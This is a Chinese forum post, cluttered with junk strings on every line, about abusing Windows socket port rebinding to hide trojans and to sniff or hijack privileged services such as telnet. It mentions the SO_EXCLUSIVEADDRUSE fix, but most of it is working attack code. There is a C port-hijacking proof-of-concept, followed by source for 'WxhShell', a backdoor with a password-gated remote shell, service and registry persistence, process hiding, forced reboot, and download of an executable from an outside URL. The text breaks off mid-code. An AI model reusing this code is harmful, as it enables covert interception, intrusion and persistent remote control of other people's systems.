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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: ld-Cb 3R^  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); '9+JaB  
}J~ d6m  
  saddr.sin_family = AF_INET; R<J1bH1n3  
_7h:NLd  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); g8JO/s5xV  
7Z#r9Vr  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); 3q!hY  
xIN&>D'|N  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 J\kGD  
RZtY3:FBx|  
  这意味着什么?意味着可以进行如下的攻击: Y~P1r]piB  
]Cfjs33H  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 O M]d}}=Y  
f(^? PGO  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) 4pin\ZS:C  
P;V$%r`yD  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 X#bK.WN$  
m+t<<5I[-  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  F ka^0  
m0I)_R#X[  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 |L@&plyB-  
d-zNvbU"  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 'S_OOzpC  
\i*QKV<  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 H+ P&} 3  
x:7"/H|  
  #include VO (KQx  
  #include }=dUASL  
  #include S~~G0GiW  
  #include    "~1{|lj|)  
  DWORD WINAPI ClientThread(LPVOID lpParam);   e5g# a}  
  int main() A &d67,&B  
  { 4O TuX!  
  WORD wVersionRequested; $ ]ew<j  
  DWORD ret; _ (U|Kpi  
  WSADATA wsaData; !CBvFl/v  
  BOOL val; Oy,7>vWQI  
  SOCKADDR_IN saddr; H2ZRUFu  
  SOCKADDR_IN scaddr; Ix-bJE6+I,  
  int err; Ft&ARTsa*  
  SOCKET s; 7s2 l3  
  SOCKET sc; TpB4VNi/<  
  int caddsize; 4"om;+\  
  HANDLE mt; 88@" +2  
  DWORD tid;   | ODi[~y  
  wVersionRequested = MAKEWORD( 2, 2 ); !mjrI "_  
  err = WSAStartup( wVersionRequested, &wsaData ); -`I&hzl6E  
  if ( err != 0 ) { ^\ N@qL  
  printf("error!WSAStartup failed!\n"); #~_ZG% u  
  return -1; ~ `xaBz0q  
  } gMGX)Y ,=/  
  saddr.sin_family = AF_INET; ]^ e4coC  
   c Y C@@?  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 qG]G0|f  
\aEarIX#*  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); AHo4% 5  
  saddr.sin_port = htons(23); oMb&a0-7u  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) M$jU-;hRH  
  { BF="gZoU<  
  printf("error!socket failed!\n"); -4%{Jb-1  
  return -1; g< F7UA  
  } b1*5#2rs.  
  val = TRUE; C[-M ~yIL  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 "^Ax}Jr  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) ajy +%sXf=  
  { T3_3k. ,|  
  printf("error!setsockopt failed!\n"); \CY_nn|&g  
  return -1; ujLz<5gKuO  
  } Vr<eU>W  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; U.$7=Zl8t  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 m0}1P]dc  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 8]`LRzM  
?2q;`Nb  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) + a,x  
  { }akF=/M  
  ret=GetLastError(); wN+3OPM  
  printf("error!bind failed!\n"); tL#]G?0d  
  return -1; pV^(8!+  
  } CDT%/9+-  
  listen(s,2); ]8m_+:`=  
  while(1) R5,ISD +s  
  { ;Y^.SR"  
  caddsize = sizeof(scaddr); (}4]U=/nV  
  //接受连接请求 h1(GzL%i_  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); WZ A8D0[  
  if(sc!=INVALID_SOCKET) !wU~;sL8C3  
  { ~+~^c|  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); )B!64'|M  
  if(mt==NULL) \FL`b{!+ N  
  { gG,"wzj  
  printf("Thread Creat Failed!\n"); ndXUR4  
  break; % >mB"Y,  
  } [PhT zXt  
  } ZLS\K/F>>=  
  CloseHandle(mt); =o+js;3  
  } z'!sc"]W6  
  closesocket(s); Ec/-f `8  
  WSACleanup();  |Ok=aV7  
  return 0; oIJ.Tv@N(  
  }   < %t$0'  
  DWORD WINAPI ClientThread(LPVOID lpParam) O0~Qh0~l  
  { Z8vR/  
  SOCKET ss = (SOCKET)lpParam; J;|i6q q  
  SOCKET sc; s?,\aSsU@  
  unsigned char buf[4096]; `J26Y"]P  
  SOCKADDR_IN saddr; '",+2=JJ  
  long num; }#Q?\  
  DWORD val; |EjMpRNE  
  DWORD ret; ar%!h~  
  //如果是隐藏端口应用的话,可以在此处加一些判断 *}Cm/li/w  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   !</Snsi  
  saddr.sin_family = AF_INET; Q+ogVvMq>  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); w(EUe4 w{  
  saddr.sin_port = htons(23); Wu1">|  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) Lc?q0x^s  
  { kWKAtv5@w  
  printf("error!socket failed!\n"); q=J8SvSRl  
  return -1; hgmo b"o  
  } ~\QN.a   
  val = 100; )/Mk\``j  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) .!^}sp,E  
  { HC$rC"f  
  ret = GetLastError(); xV+cX*4h  
  return -1; q Q/<\6Sl  
  } "c2{n,  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ]tnf< 5x  
  { *$Tz g!/  
  ret = GetLastError(); .271at#-  
  return -1; ro8c-[V  
  } ;&~9k?v7L  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) ,mY3oyu  
  { LV6BSQyQ  
  printf("error!socket connect failed!\n"); \5q0nB@i5y  
  closesocket(sc); h)o5j-M>4  
  closesocket(ss); G,,7.%eib=  
  return -1; a?NoNv)&  
  } iYR`|PJi  
  while(1) 6z3`*B  
  { ./r#\X)dc  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 8IQqDEY^  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 /f Ui2[y  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 SbX#$; ks~  
  num = recv(ss,buf,4096,0); 1(4}rB3  
  if(num>0) :vWixgLg  
  send(sc,buf,num,0); 6qYK"^+xu  
  else if(num==0) QZ?%xN(4  
  break; EA=EcUf'  
  num = recv(sc,buf,4096,0); Pgh)+>ON  
  if(num>0) .{t]Mc  
  send(ss,buf,num,0); '1NZSiv+C?  
  else if(num==0) ~]S%b3>  
  break; rIRkXO)  
  } '6zk> rN  
  closesocket(ss); ^a #  
  closesocket(sc); C%T$l8$  
  return 0 ; \*i[m&3;q  
  } ZhnRsn9  
;>jLRx<KC  
F*{1, gb  
========================================================== mO0a: i!  
I;rh(FMV  
下边附上一个代码,,WXhSHELL N&YQZ^o  
E!]d?t3b  
========================================================== Zf *DC~E_  
u7G9 eN  
#include "stdafx.h" f)9{D[InM^  
ZD`p$:pT  
#include <stdio.h> m1{OaHxKh  
#include <string.h> y-R:-K XH=  
#include <windows.h> JXKo zy41  
#include <winsock2.h> me`|i-   
#include <winsvc.h> %}ASll0uq  
#include <urlmon.h> NxzRVsNF  
mJFFst,  
#pragma comment (lib, "Ws2_32.lib") 1_RN*M +#  
#pragma comment (lib, "urlmon.lib") J,,+JoD  
D]B;5f  
#define MAX_USER   100 // 最大客户端连接数 |*te69RX  
#define BUF_SOCK   200 // sock buffer 5 cz6\A&  
#define KEY_BUFF   255 // 输入 buffer  97-=Vb  
9Lp[y%{GP  
#define REBOOT     0   // 重启 =c Krp'  
#define SHUTDOWN   1   // 关机 5lYzgt-oP  
.~Y% AI  
#define DEF_PORT   5000 // 监听端口 r;'Vy0?AL  
1 ,e`,  
#define REG_LEN     16   // 注册表键长度 ^ygh[.e,  
#define SVC_LEN     80   // NT服务名长度 1WJ%n;  
,mm9X\ '  
// 从dll定义API a0*qK)gH  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); )sBbmct_S  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); :j[a X7Sq2  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); c,FhI~>R  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); D4;6}gRC  
eczS(KoL4  
// wxhshell配置信息 h$#zuqm  
struct WSCFG { g'nN#O  
  int ws_port;         // 监听端口 wfY]J0l  
  char ws_passstr[REG_LEN]; // 口令 y_A7CG"^  
  int ws_autoins;       // 安装标记, 1=yes 0=no NI)q<@ju  
  char ws_regname[REG_LEN]; // 注册表键名 a,~}G'U  
  char ws_svcname[REG_LEN]; // 服务名 n}!D)Gx  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 03^?+[C  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 e}bY 9  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ly)L%hG  
int ws_downexe;       // 下载执行标记, 1=yes 0=no kp>AZVk  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 8iKupaaOX  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 4M3{P  
S1G=hgF_L  
};  OYwH$5  
kf>L  
// default Wxhshell configuration 6S6E 1~  
struct WSCFG wscfg={DEF_PORT, 0\a;} S'g#  
    "xuhuanlingzhe", =[x @BzH  
    1, y jQpdO  
    "Wxhshell", #`Gh8n#  
    "Wxhshell", $bo 5:c  
            "WxhShell Service", /Q*cyLv  
    "Wrsky Windows CmdShell Service", m~U2 L  
    "Please Input Your Password: ", eHQ3K#M#  
  1, D`fi\A  
  "http://www.wrsky.com/wxhshell.exe", WlfS|/\%V^  
  "Wxhshell.exe" ~G#^kNme  
    }; 6z>Zm1h  
(25v7 Y ]  
// 消息定义模块 hY^-kdQ>M  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; {nyVC%@Y  
char *msg_ws_prompt="\n\r? for help\n\r#>"; /m+q!yi &  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; E])X$:P?  
char *msg_ws_ext="\n\rExit."; WTZr{)e  
char *msg_ws_end="\n\rQuit."; }2i3  
char *msg_ws_boot="\n\rReboot..."; tW7*(D  
char *msg_ws_poff="\n\rShutdown..."; {nl4(2$  
char *msg_ws_down="\n\rSave to "; e Zb8x  
RBM(>lU:  
char *msg_ws_err="\n\rErr!"; L?~-<k  
char *msg_ws_ok="\n\rOK!"; ^"hsbk&Yu  
"J(7fL$!  
char ExeFile[MAX_PATH]; p@x1B &Z  
int nUser = 0; hp6%zUR  
HANDLE handles[MAX_USER]; wU= @,K  
int OsIsNt; 2 bQC 2  
{S;/+X,  
SERVICE_STATUS       serviceStatus; IsjD-t  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; \/ 8 V|E  
DGllJ_/Z  
// 函数声明 w+Cs=!  
int Install(void); S/l?wwD  
int Uninstall(void); +ysP#uAA  
int DownloadFile(char *sURL, SOCKET wsh); =|G l  
int Boot(int flag); glvt umv  
void HideProc(void); #6 yi  
int GetOsVer(void); U3zwC5}BN  
int Wxhshell(SOCKET wsl); 3cztMi  
void TalkWithClient(void *cs); ?]bZ6|;2  
int CmdShell(SOCKET sock); I%q&4L7pj  
int StartFromService(void); d,0Yi u.p  
int StartWxhshell(LPSTR lpCmdLine); r\sQ8/  
l<l6Ey(  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); eE'2B."F  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); =5yI>A0  
kb>/R/,9  
// 数据结构和表定义 gbJz5EEq  
SERVICE_TABLE_ENTRY DispatchTable[] = ]\Tcy[5  
{ (&x#VmDL  
{wscfg.ws_svcname, NTServiceMain}, K[( h2&  
{NULL, NULL} &v#*  
}; #[a+m  
8`/nk `;  
// 自我安装 (!^(74  
int Install(void) o]vU(j_Ju  
{ B[R1XpB7  
  char svExeFile[MAX_PATH]; $A/$M\ :  
  HKEY key; Wi?37EHr  
  strcpy(svExeFile,ExeFile); k_c8\::p#  
2Hp#~cE+.  
// 如果是win9x系统,修改注册表设为自启动 c%+9uu3  
if(!OsIsNt) { fy`e)?46  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ,.ln  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Y :0SrB!\  
  RegCloseKey(key); z7H[\4A!>  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 3B<$6  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); v!pT!(h4  
  RegCloseKey(key); p^U:O&U(  
  return 0; 2@ <x%T  
    } 8R6!SB  
  } JRC+>'}Xj  
} }"'^.FG^_  
else { u K`T1*_  
p6yC1\U!o  
// 如果是NT以上系统,安装为系统服务 hl[!4#b]K  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ci@U a}T  
if (schSCManager!=0) m-Uq6_e  
{ 4oF8F)ASj  
  SC_HANDLE schService = CreateService 3PEv.hGx  
  ( ZMHb  
  schSCManager, :(|;J<R%_  
  wscfg.ws_svcname, Ba\l`$%X  
  wscfg.ws_svcdisp, T`;>Kq:s  
  SERVICE_ALL_ACCESS, JWa9[Dj  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , @Ee'nP   
  SERVICE_AUTO_START, tfr*/+F  
  SERVICE_ERROR_NORMAL, 0r?}LWjf  
  svExeFile, *\Y \$w  
  NULL, Qn77ZpL:LJ  
  NULL, GB(o)I#h  
  NULL, CE$c/d[N.  
  NULL, lglC1W-q  
  NULL <.0-K_  
  ); %s;#epP$  
  if (schService!=0) XM$HHk}L;  
  { Q`qHzb~%  
  CloseServiceHandle(schService); O6^>L0'  
  CloseServiceHandle(schSCManager); i '5Q.uX  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); _U.D*f<3)  
  strcat(svExeFile,wscfg.ws_svcname); n+M:0{Y|  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { .O{2]e$  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); LsnM5GU7  
  RegCloseKey(key); z\,g %u41  
  return 0; g3%Xh0007{  
    } k;w1y(  
  } n# %mL<  
  CloseServiceHandle(schSCManager); u6A ReL 'f  
} IRemF@  
} <|NP!eMsw8  
4ey m$UWw  
return 1; ;[]{O5TB  
} :!M/9D*}0  
#ra~Yb-F  
// 自我卸载 V fJYYR  
int Uninstall(void) vs/.'yD/C  
{ )v-sde\  
  HKEY key; +-=w`  
+zQ a"Ep*  
if(!OsIsNt) { X ?/C9  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { h&+dIk\[3  
  RegDeleteValue(key,wscfg.ws_regname); Ji_3*(  
  RegCloseKey(key); 3[E3]]OVa  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { u=h:d+rq@  
  RegDeleteValue(key,wscfg.ws_regname); $ZD1_sJ.  
  RegCloseKey(key); nk,X6o9%  
  return 0; 6.},y<E  
  } }&)X4=  
} TC80nP   
} /vi>@a  
else { m]8rljo  
L'LZK  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); $9DV }  
if (schSCManager!=0) sv0) sL  
{ wR\Y+Z   
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); Kv'2^B  
  if (schService!=0) \0iF <0oy  
  { VLuhURI)  
  if(DeleteService(schService)!=0) { >(s)S[\  
  CloseServiceHandle(schService); 31 \l0Jg  
  CloseServiceHandle(schSCManager); :b[ [}'  
  return 0; 8<C u S  
  } #1i&!et&/  
  CloseServiceHandle(schService); EELS-qA  
  } ,y}?Z 8?63  
  CloseServiceHandle(schSCManager); 7q<2k_3<  
} tCAh?nR  
} 6 eqxwj{S[  
<(dHh9$~  
return 1; }>I|\Z0I  
} )<bgZ, v  
5o 4\Jwt  
// 从指定url下载文件 D<5;4Mb  
int DownloadFile(char *sURL, SOCKET wsh) v /{LC4BF  
{ luYkC@I@a  
  HRESULT hr; kw&,<V77~  
char seps[]= "/"; =X[]0.I%  
char *token; j:# wt70  
char *file; `9BZ))Pg  
char myURL[MAX_PATH]; V9*Z  
char myFILE[MAX_PATH]; VMPBM:k G  
?IR]y-r  
strcpy(myURL,sURL); ,U+y)w]ar  
  token=strtok(myURL,seps); /EF0~iy  
  while(token!=NULL) SFVOof#s  
  { ~Rd,jfx  
    file=token; 3 f=_F  
  token=strtok(NULL,seps); .UF](  
  } @:u>  
YvD+Lk'hm  
GetCurrentDirectory(MAX_PATH,myFILE); P,-f]k[_  
strcat(myFILE, "\\"); @sUYjB  
strcat(myFILE, file); Gf'qPLK0  
  send(wsh,myFILE,strlen(myFILE),0); G+2!+N\P  
send(wsh,"...",3,0); u`I&&  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ;i*<HNQ  
  if(hr==S_OK) | +osEHC  
return 0; DPCB=2E  
else r(;sX  
return 1; 0Q? XU.v  
v?e@`;- <  
} fgrflW$  
wVU.j$+_#  
// 系统电源模块 xj8 yQ Y1  
int Boot(int flag) 0$)uOUVJ  
{ HBHDu;u  
  HANDLE hToken; \$GM4:R D  
  TOKEN_PRIVILEGES tkp; mw2/jA7  
]X y2km]  
  if(OsIsNt) { q1!45a  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 32nB9[l  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); a*?bnw?  
    tkp.PrivilegeCount = 1; nBw4YDR!  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; {~J'J$hn8  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); coa+@g,w7#  
if(flag==REBOOT) { t5: 1' N9P  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) L?_'OwaY  
  return 0;  -D*,*L  
} 8S*3W3HY  
else { 4&b*|"Iw  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) kr ,&aP<,  
  return 0; =-wF Brw  
} qWz%sT?C3L  
  } 3@#WYvD  
  else { ^3re*u4b=  
if(flag==REBOOT) { M)sM G C  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) $*N^ bj  
  return 0; *AK{GfP_  
} ]fxYS m  
else { !1G6ZC:z  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) L@9@3?  
  return 0; W:5uoO]=<  
} UnTnc6Bo7W  
} @ sLb=vb  
UAleGR`,  
return 1; &CP]+ at  
} N_jpCCG~  
+H"[WZ5  
// win9x进程隐藏模块 #aHPB#  
void HideProc(void) EWz,K] _'  
{ <}Hfu-PLo  
1jHugss9|  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); p>Z18  
  if ( hKernel != NULL ) ,xcm:; &  
  { jEK{QOq0  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); h{xq  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 8v{0=9,Z  
    FreeLibrary(hKernel); ^w|D^F=o  
  } SZ$~zT;c  
K=Q<G:+&V  
return; Bs?B\k=  
} eKpWFP 0  
i&K-|[3{g  
// 获取操作系统版本 4~8!3JH39  
int GetOsVer(void) Dk ^,iY(u  
{ su2|x  
  OSVERSIONINFO winfo; E4}MU}C#[  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); prypo.RI  
  GetVersionEx(&winfo); 4Ny lc.2mi  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 6KH&-ffd  
  return 1; lftT55Tki  
  else z5njblUz  
  return 0; KOv?p@d  
} @wVq%GG}  
P5?M"j0/^  
// 客户端句柄模块 B}?$kp  
int Wxhshell(SOCKET wsl) e-&0f);i  
{ |.]g&m)y^h  
  SOCKET wsh; &];:uYmMU  
  struct sockaddr_in client; T)CEcz  
  DWORD myID; 5~ip N/)E  
}Bk>'  
  while(nUser<MAX_USER) @#u'z ~a)  
{ :`Sd5b>  
  int nSize=sizeof(client); +HAd=DU  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); [B_(,/?  
  if(wsh==INVALID_SOCKET) return 1; yb/v?q?Fk  
TyGsSc  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); %f-Uwq&}Y"  
if(handles[nUser]==0) {zNFp#z  
  closesocket(wsh); mMt~4(5  
else Q[6<Y,}(pd  
  nUser++; 5~!&x@  
  } 7my7|s[  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); UngK9uB~  
~;AJB  
  return 0; v)c[-:"z  
} ]y kMh  
=w,cdU*  
// 关闭 socket +$CO  
void CloseIt(SOCKET wsh) QKP@+E_U  
{ "e;wN3/bF  
closesocket(wsh); ! <O,xI'  
nUser--; _~}n(?>  
ExitThread(0); }f;cA  
}  26[.te9  
h.t2;O,b  
// 客户端请求句柄 eVvDis  
void TalkWithClient(void *cs) h 0c&}kM  
{ fU^6h`t  
`mp3ORR;$  
  SOCKET wsh=(SOCKET)cs; Y I?4e7Z+  
  char pwd[SVC_LEN]; dN)@/R^E;  
  char cmd[KEY_BUFF]; :c/](M  
char chr[1]; o0B3G  
int i,j; [j;#w,Wb  
7dh--.i  
  while (nUser < MAX_USER) { hsJS(qEh.'  
~IQ2;A  
if(wscfg.ws_passstr) { IEj=pI   
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ,b${3*PPQ  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 2;`F` }BA  
  //ZeroMemory(pwd,KEY_BUFF); \L]T|]}(  
      i=0; y%Wbm&h  
  while(i<SVC_LEN) { gI5Fzk@:  
#U ?=D/  
  // 设置超时 nq,P.~l  
  fd_set FdRead; d>bS)  
  struct timeval TimeOut; gZ 6Hj62D  
  FD_ZERO(&FdRead); ,!I'0x1OR  
  FD_SET(wsh,&FdRead); Y(97},  
  TimeOut.tv_sec=8; ;)rs#T;$  
  TimeOut.tv_usec=0; g@s'-8}X^  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); m2r %m y  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 41s[p56+@  
*nYb9.T]i  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); O8<@+xlX  
  pwd=chr[0]; 2E/yZ ~2s  
  if(chr[0]==0xd || chr[0]==0xa) { P$hmDTn72  
  pwd=0; o4d[LV4DS  
  break; yS"; q  
  } |)pgUI2O[  
  i++; "v[?`<53^l  
    } |$QL>{81  
Fq`wx  
  // 如果是非法用户,关闭 socket rvwfQ'14  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); .4cOMiG  
} MU#$tXmnC  
\+I+Lrj%  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); &h67LMD!  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); KOP*\\1 J  
EwuBL6kN  
while(1) { eT ZQ[qMp  
lKA2~o  
  ZeroMemory(cmd,KEY_BUFF); $@}\T  
ZnXq+^ Z4  
      // 自动支持客户端 telnet标准   jPyhn8Vw  
  j=0; #h~v(Z}  
  while(j<KEY_BUFF) { R3!3TJ  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); &-B&s.,kj  
  cmd[j]=chr[0]; Q!(qL[o  
  if(chr[0]==0xa || chr[0]==0xd) { .=% ,DT"  
  cmd[j]=0; (Gp|K6  
  break; $/XR/  
  } Xw<5VIAHm;  
  j++; 3^%sz!jK+  
    } h8-'I= ~  
-_xC,dwK  
  // 下载文件 $0wF4$)  
  if(strstr(cmd,"http://")) { L |pJ\~  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); QU%'z/dip  
  if(DownloadFile(cmd,wsh)) :eR[lR^4*  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); Mz:t[rfs  
  else r\f|r$i  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); }RPeAcbU_  
  } _3{,nhkf:!  
  else { -mPrmapb3  
/`YbHYNF[  
    switch(cmd[0]) { 8C4 =f  
  O,A}p:Pgs  
  // 帮助 l0g`;BI_  
  case '?': { Da WzQe=  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); }N}\<RG  
    break; 8QaF(?  
  } AXOR<Ns`  
  // 安装 @[] A&)B  
  case 'i': { cc|"^-j-7  
    if(Install()) g"&e*fF  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); YkqauyV^  
    else @Tl!A1y?  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); D|BP]j}6  
    break; |0A:0'uA!  
    } z,#3YC{'  
  // 卸载 Me|+)}'p5h  
  case 'r': { twA2U7F  
    if(Uninstall()) 0-{l4;o  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); G*$a81dAX  
    else VtJy0OGcRP  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); T.j&UEsd  
    break; g0~3;y  
    } }^/;8cfLY  
  // 显示 wxhshell 所在路径 H%:u9DlEK/  
  case 'p': { <(<19t5.  
    char svExeFile[MAX_PATH]; B%e#u.'6  
    strcpy(svExeFile,"\n\r"); %M_5C4&6  
      strcat(svExeFile,ExeFile); B,dHhwO*l  
        send(wsh,svExeFile,strlen(svExeFile),0); +iL,8eW  
    break; p<9e5`& I  
    } FII>6c  
  // 重启 1>1ii  
  case 'b': { {<_9QAS  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); iTq~ ^9G  
    if(Boot(REBOOT)) hm5A@Z   
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); )xMP  
    else { /\B[lRn  
    closesocket(wsh); gUq)M  
    ExitThread(0); {=Ku9\  
    } v8L&F9 o  
    break; +v}R-gNR  
    } (KDv>@5  
  // 关机 w'b|*_Q4Q  
  case 'd': { xp>p#c  
